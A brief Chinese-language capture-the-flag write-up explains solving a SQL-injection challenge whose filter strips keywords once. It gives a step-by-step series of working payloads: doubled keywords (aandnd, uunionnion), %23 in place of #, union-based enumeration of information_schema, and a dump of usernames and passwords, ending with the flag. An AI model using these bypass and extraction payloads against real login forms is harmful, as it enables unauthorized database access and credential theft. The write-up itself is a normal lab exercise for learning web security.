启动靶机熟悉的界面
测试发现or被过滤且输入#号无法起到注释作用
猜测本靶机考点过滤查询关键词语句or,union,select,and,by和注释符#
测试后查询关键词发现过滤只是单次过滤 可以使用aandnd,oorr,uunionnion等绕过过滤
而#则可以用urlencode编码格式变成%23绕过,接下来我们进行常规构造语句绕过
报错说明有3个字段
?username=admin' aandnd 1=2 oorrder bbyy 4 %23&password=123
测得回显点位2,3 ?username=admin' aandnd 1=2 uunionnion sselectelect 1,2,3 %23&password=123
获得数据库名geek,版本10.3.18-MariaDB ?username=admin' aandnd 1=2 uunionnion sselectelect 1,database(),version() %23&password=123
获得表名b4bsql,geekuser
?username=admin' aandnd 1=2 uunionnion sselectelect 1, 2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema ='geek' %23&password=123
获得列名 id username password
?username=admin' aandnd 1=2 uunionnion sselectelect 1, 2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='geekuser' %23&password=123
查找flag
?username=admin' aandnd 1=2 uunionnion sselectelect 1, group_concat(username),group_concat(passwoorrd) ffromrom b4bsql%23&password=123
查看源码获得flag flag{bdc135ab-5320-46d6-b4f2-5d1231ead3a1}